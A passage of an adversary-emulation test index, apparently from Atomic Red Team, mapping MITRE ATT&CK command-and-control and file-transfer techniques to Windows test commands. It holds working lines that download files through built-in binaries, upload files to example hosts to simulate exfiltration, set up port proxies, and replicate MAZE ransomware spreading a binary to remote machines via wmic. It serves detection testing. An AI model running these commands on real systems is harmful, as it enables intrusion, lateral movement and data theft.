- "description": "Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.\nBecause this is being tested on the localhost, you should not be expecting a successful connection\nhttps://www.exploit-db.com/exploits/48815\nhttps://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_host": {
- "description": "Remote hostname or IP address",
- "type": "string",
- "default": "localhost"
- }
- },
- "executor": {
- "name": "command_prompt",
- "command": "finger base64_filedata@#{remote_host}\n"
- }
- },
- {
- "name": "Download a file with IMEWDBLD.exe",
- "auto_generated_guid": "1a02df58-09af-4064-a765-0babe1a0d1e2",
- "description": "Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.\nDownloaded files can be found in \"%LocalAppData%\\Microsoft\\Windows\\INetCache\\<8_RANDOM_ALNUM_CHARS>/[1].\" or `%LocalAppData%\\Microsoft\\Windows\\INetCache\\IE\\<8_RANDOM_ALNUM_CHARS>/[1]..\nRun \"Get-ChildItem -Path C:\\Users\\\\AppData\\Local\\Microsoft\\Windows\\INetCache\\ -Include * -Recurse -Force -File -ErrorAction SilentlyContinue\" without quotes and adding the correct username and file name to locate the file.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_url": {
- "description": "Location of file to be downloaded.",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml"
- },
- "file_name": {
- "description": "Name of the file to be downloaded without extension.",
- "type": "string",
- "default": "T1105"
- }
- },
- "executor": {
- "command": "$imewdbled = $env:SystemRoot + \"\\System32\\IME\\SHARED\\IMEWDBLD.exe\"\n& $imewdbled #{remote_url}\n",
- "cleanup_command": "$inetcache = $env:LOCALAPPDATA + \"\\Microsoft\\Windows\\INetCache\\\" \n$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue)\nif(\"\" -ne \"$file_to_be_removed\") { Remove-Item \"$file_to_be_removed\" -ErrorAction Ignore }\n",
- "name": "powershell"
- }
- },
- {
- "name": "Curl Download File",
- "auto_generated_guid": "2b080b99-0deb-4d51-af0f-833d37c4ca6a",
- "description": "The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.\nExpected output will include whether the file downloaded successfully or not.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_download": {
- "description": "File to download",
- "type": "string",
- "default": "https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll"
- },
- "curl_path": {
- "description": "path to curl.exe",
- "type": "path",
- "default": "C:\\Windows\\System32\\Curl.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Curl must be installed on system.\n",
- "prereq_command": "if (Test-Path #{curl_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip\" -Outfile $env:temp\\curl.zip\nExpand-Archive -Path $env:temp\\curl.zip -DestinationPath $env:temp\\curl\nCopy-Item $env:temp\\curl\\curl-7.79.1-win64-mingw\\bin\\curl.exe C:\\Windows\\System32\\Curl.exe\nRemove-Item $env:temp\\curl\nRemove-Item $env:temp\\curl.zip\n"
- }
- ],
- "executor": {
- "command": "#{curl_path} -k #{file_download} -o c:\\users\\public\\music\\allthethingsx64.dll\n#{curl_path} -k #{file_download} --output c:\\users\\public\\music\\allthethingsx64.dll\n#{curl_path} -k #{file_download} -o c:\\programdata\\allthethingsx64.dll\n#{curl_path} -k #{file_download} -o %Temp%\\allthethingsx64.dll\n",
- "cleanup_command": "del c:\\users\\public\\music\\allthethingsx64.dll >nul 2>&1\ndel c:\\users\\public\\music\\allthethingsx64.dll >nul 2>&1\ndel c:\\programdata\\allthethingsx64.dll >nul 2>&1\ndel %Temp%\\allthethingsx64.dll >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Curl Upload File",
- "auto_generated_guid": "635c9a38-6cbf-47dc-8615-3810bc1167cf",
- "description": "The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration\nExpected output will include whether the file uploaded successfully or not.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "curl_path": {
- "description": "path to curl.exe",
- "type": "path",
- "default": "C:\\Windows\\System32\\Curl.exe"
- },
- "remote_destination": {
- "description": "Remote destination",
- "type": "string",
- "default": "www.example.com"
- },
- "file_path": {
- "description": "File to upload",
- "type": "string",
- "default": "c:\\temp\\atomictestfile.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Curl must be installed on system.\n",
- "prereq_command": "if (Test-Path #{curl_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \u201chttps://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip\u201d -Outfile $env:temp\\curl.zip\nExpand-Archive -Path $env:temp\\curl.zip -DestinationPath $env:temp\\curl\nCopy-Item $env:temp\\curl\\curl-7.79.1-win64-mingw\\bin\\curl.exe C:\\Windows\\System32\\Curl.exe\nRemove-Item $env:temp\\curl\nRemove-Item $env:temp\\curl.zip\n"
- },
- {
- "description": "A file must be created to upload\n",
- "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "echo \"This is an Atomic Test File\" > #{file_path}\n"
- }
- ],
- "executor": {
- "command": "#{curl_path} -T #{file_path} #{remote_destination}\n#{curl_path} --upload-file #{file_path} #{remote_destination}\n#{curl_path} -d #{file_path} #{remote_destination}\n#{curl_path} --data #{file_path} #{remote_destination}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Download a file with Microsoft Connection Manager Auto-Download",
- "auto_generated_guid": "d239772b-88e2-4a2e-8473-897503401bcc",
- "description": "Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. \nThe issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.\nUpon successful execution the test will open calculator and Notepad executable for 10 seconds.\nreference:\nhttps://twitter.com/ElliotKillick/status/1455897435063074824\nhttps://github.com/LOLBAS-Project/LOLBAS/pull/151\nhttps://lolbas-project.github.io/lolbas/Binaries/Cmdl32/\nhttps://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "Path_to_file": {
- "description": "Path to the Batch script",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1105\\src\\T1105.bat"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{Path_to_file} must exist on system.\n",
- "prereq_command": "if (Test-Path #{Path_to_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{Path_to_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.bat\" -OutFile \"#{Path_to_file}\"\n"
- }
- ],
- "executor": {
- "command": "#{Path_to_file} 1>NUL \n",
- "cleanup_command": "del /f/s/q %temp%\\T1105 >nul 2>&1\nrmdir /s/q %temp%\\T1105 >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "MAZE Propagation Script",
- "auto_generated_guid": "70f4d07c-5c3e-4d53-bb0a-cdf3ada14baf",
- "description": "This test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\\Temp directory of each one. \nUpon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location.\nReference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_file": {
- "description": "Binary file to copy to remote machines",
- "type": "string",
- "default": "$env:comspec"
- },
- "exe_remote_folder": {
- "description": "Path to store executable on remote machine (no drive letter)",
- "type": "string",
- "default": "\\Windows\\Temp\\T1105.exe"
- },
- "remote_drive_letter": {
- "description": "Remote drive letter",
- "type": "string",
- "default": "C"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Binary file must exist at specified location (#{binary_file})\n",
- "prereq_command": "if (Test-Path #{binary_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "write-host \"The binary_file input parameter must be set to a binary that exists on this computer.\"\n"
- },
- {
- "description": "Machine list must exist at specified location (\"$env:temp\\T1105MachineList.txt\")\n",
- "prereq_command": "if (Test-Path \"$env:temp\\T1105MachineList.txt\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "new-item -path \"$env:temp\\T1105MachineList.txt\"\necho \"A machine list file has been generated at \"$env:temp\\T1105MachineList.txt\". Please enter the machines to target there, one machine per line.\"\n"
- }
- ],
- "executor": {
- "command": "$machine_list = \"$env:temp\\T1105MachineList.txt\"\n$offline_list = \"$env:temp\\T1105OfflineHosts.txt\"\n$completed_list = \"$env:temp\\T1105CompletedHosts.txt\"\nforeach ($machine in get-content -path \"$machine_list\")\n{if (test-connection -Count 1 -computername $machine -quiet) \n{cmd /c copy \"#{binary_file}\" \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\"\necho $machine >> \"$completed_list\"\nwmic /node: \"$machine\" process call create \"regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}\"}\nelse\n{echo $machine >> \"$offline_list\"}}\n",
- "cleanup_command": "if (test-path \"$env:temp\\T1105CompletedHosts.txt\") \n{foreach ($machine in get-content -path \"$env:temp\\T1105CompletedHosts.txt\")\n{wmic /node: \"$machine\" process where name='\"regsvr32.exe\"' call terminate | out-null\nRemove-Item -path \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\" -force -erroraction silentlycontinue}}\nRemove-Item -path \"$env:temp\\T1105OfflineHosts.txt\" -erroraction silentlycontinue\nRemove-item -path \"$env:temp\\T1105CompletedHosts.txt\" -erroraction silentlycontinue\n",
- "name": "powershell"
- }
- },
- {
- "name": "Printer Migration Command-Line Tool UNC share folder into a zip file",
- "auto_generated_guid": "49845fc1-7961-4590-a0f0-3dbcf065ae7e",
- "description": "Create a ZIP file from a folder in a remote drive\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "Path_unc": {
- "description": "Path to the UNC folder",
- "type": "path",
- "default": "\\\\127.0.0.1\\c$\\AtomicRedTeam\\atomics\\T1105\\src\\"
- },
- "Path_PrintBrm": {
- "description": "Path to PrintBrm.exe",
- "type": "path",
- "default": "C:\\Windows\\System32\\spool\\tools\\PrintBrm.exe"
- }
- },
- "executor": {
- "command": "del %TEMP%\\PrintBrm.zip >nul 2>&1 \n#{Path_PrintBrm} -b -d #{Path_unc} -f %TEMP%\\PrintBrm.zip -O FORCE\n",
- "cleanup_command": "del %TEMP%\\PrintBrm.zip >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Lolbas replace.exe use to copy file",
- "auto_generated_guid": "54782d65-12f0-47a5-b4c1-b70ee23de6df",
- "description": "Copy file.cab to destination\nReference: https://lolbas-project.github.io/lolbas/Binaries/Replace/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "replace_cab": {
- "description": "Path to the cab file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1105\\src\\redcanary.cab"
- },
- "Path_replace": {
- "description": "Path to replace.exe",
- "type": "path",
- "default": "C:\\Windows\\System32\\replace.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{replace_cab} must exist on system.\n",
- "prereq_command": "if (Test-Path #{replace_cab}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{replace_cab}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/redcanary.cab\" -OutFile \"#{replace_cab}\"\n"
- }
- ],
- "executor": {
- "command": "del %TEMP%\\redcanary.cab >nul 2>&1\n#{Path_replace} #{replace_cab} %TEMP% /A\n",
- "cleanup_command": "del %TEMP%\\redcanary.cab >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Lolbas replace.exe use to copy UNC file",
- "auto_generated_guid": "ed0335ac-0354-400c-8148-f6151d20035a",
- "description": "Copy UNC file to destination\nReference: https://lolbas-project.github.io/lolbas/Binaries/Replace/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "replace_cab": {
- "description": "UNC Path to the cab file",
- "type": "path",
- "default": "\\\\127.0.0.1\\c$\\AtomicRedTeam\\atomics\\T1105\\src\\redcanary.cab"
- },
- "Path_replace": {
- "description": "Path to replace.exe",
- "type": "path",
- "default": "C:\\Windows\\System32\\replace.exe"
- }
- },
- "executor": {
- "command": "del %TEMP%\\redcanary.cab >nul 2>&1\n#{Path_replace} #{replace_cab} %TEMP% /A\n",
- "cleanup_command": "del %TEMP%\\redcanary.cab >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "certreq download",
- "auto_generated_guid": "6fdaae87-c05b-42f8-842e-991a74e8376b",
- "description": "Use certreq to download a file from the web",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "local_path": {
- "description": "Local path to place file",
- "type": "string",
- "default": "%temp%\\Atomic-license.txt"
- },
- "remote_file": {
- "description": "URL of file to copy",
- "type": "url",
- "default": "https://example.com"
- }
- },
- "executor": {
- "command": "certreq.exe -Post -config #{remote_file} c:\\windows\\win.ini #{local_path}",
- "cleanup_command": "del #{local_path} >nul 2>&1",
- "name": "command_prompt"
- }
- },
- {
- "name": "Download a file using wscript",
- "auto_generated_guid": "97116a3f-efac-4b26-8336-b9cb18c45188",
- "description": "Use wscript to run a local VisualBasic file to download a remote file",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "vbscript_file": {
- "description": "Full path to the VisualBasic downloading the file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1105\\src\\T1105-download-file.vbs"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{vbscript_file} must be exist on system.\n",
- "prereq_command": "if (Test-Path #{vbscript_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{vbscript_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105-download-file.vbs\" -OutFile \"#{vbscript_file}\"\n"
- }
- ],
- "executor": {
- "command": "wscript.exe #{vbscript_file}",
- "cleanup_command": "del Atomic-License.txt >nul 2>&1",
- "name": "command_prompt"
- }
- },
- {
- "name": "Nimgrab - Transfer Files",
- "auto_generated_guid": "b1729c57-9384-4d1c-9b99-9b220afb384e",
- "description": "Use nimgrab.exe to download a file from the web. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "URL of file to copy",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- },
- "destination_path": {
- "description": "Destination path to file",
- "type": "path",
- "default": "$env:TEMP\\Atomic-license.txt"
- },
- "local_nimgrab": {
- "description": "Local path to nimgrab",
- "type": "path",
- "default": "$env:TEMP\\nimgrab.exe"
- }
- },
- "executor": {
- "command": "cmd /c nimgrab.exe #{remote_file} #{destination_path}\n",
- "cleanup_command": "del #{destination_path} >nul 2>&1\n",
- "name": "command_prompt"
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "NimGrab must be installed on system.\n",
- "prereq_command": "if (Test-Path \"#{local_nimgrab}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://nim-lang.org/download/nim-1.6.6_x64.zip\" -Outfile $env:temp\\nim.zip\nExpand-Archive -Path $env:temp\\nim.zip -DestinationPath $env:temp\\nim -Force\nCopy-Item $env:temp\\nim\\nim-1.6.6\\bin\\nimgrab.exe #{local_nimgrab}\nRemove-Item $env:temp\\nim\nRemove-Item $env:temp\\nim.zip\n"
- }
- ]
- },
- {
- "name": "iwr or Invoke Web-Request download",
- "auto_generated_guid": "c01cad7f-7a4c-49df-985e-b190dcf6a279",
- "description": "Use 'iwr' or \"Invoke-WebRequest\" -URI argument to download a file from the web. Note: without -URI also works in some versions.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "URL of file to copy",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- },
- "local_path": {
- "description": "Local path to place file",
- "type": "path",
- "default": "%temp%\\Atomic-license.txt"
- }
- },
- "executor": {
- "command": "powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}\n",
- "cleanup_command": "del %temp%\\Atomic-license.txt >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1001.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
- "type": "attack-pattern",
- "created": "2020-03-15T00:37:58.963Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1001.002",
- "url": "https://attack.mitre.org/techniques/T1001/002"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-15T00:37:58.963Z",
- "name": "Steganography",
- "description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1008": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:21.689Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1008",
- "external_id": "T1008"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-07-14T19:49:47.340Z",
- "name": "Fallback Channels",
- "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1090.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
- "type": "attack-pattern",
- "created": "2020-03-14T23:08:20.244Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1090.001",
- "url": "https://attack.mitre.org/techniques/T1090/001"
- },
- {
- "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
- "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
- "source_name": "Trend Micro APT Attack Tools"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-15T00:46:26.598Z",
- "name": "Proxy: Internal Proxy",
- "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "identifier": "T1090.001"
- },
- "atomic_tests": [
- {
- "name": "portproxy reg key",
- "auto_generated_guid": "b8223ea9-4be2-44a6-b50a-9657a3d4e72a",
- "description": "Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PortProxy\\v4tov4\nUpon execution there will be a new proxy entry in netsh\nnetsh interface portproxy show all\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "connectaddress": {
- "description": "Specifies the IPv4 address to which to connect. Acceptable values are IP address, computer NetBIOS name, or computer DNS name. If an address is not specified, the default is the local computer.",
- "type": "string",
- "default": "127.0.0.1"
- },
- "connectport": {
- "description": "Specifies the IPv4 port, by port number or service name, to which to connect. If connectport is not specified, the default is the value of listenport on the local computer.",
- "type": "string",
- "default": "1337"
- },
- "listenport": {
- "description": "Specifies the IPv4 port, by port number or service name, on which to listen.",
- "type": "string",
- "default": "1337"
- }
- },
- "executor": {
- "command": "netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}",
- "cleanup_command": "netsh interface portproxy delete v4tov4 listenport=#{listenport} -ErrorAction Ignore | Out-Null",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1094": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ryan Becwar"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:10.314Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1094",
- "url": "https://attack.mitre.org/techniques/T1094"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-20T19:03:04.295Z",
- "name": "Custom Command and Control Protocol",
- "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1102.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
- "type": "attack-pattern",
- "created": "2020-03-14T22:24:21.841Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1102.001",
- "url": "https://attack.mitre.org/techniques/T1102/001"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-26T23:12:30.499Z",
- "name": "Dead Drop Resolver",
- "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1001.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
- "type": "attack-pattern",
- "created": "2020-03-15T00:30:25.444Z",
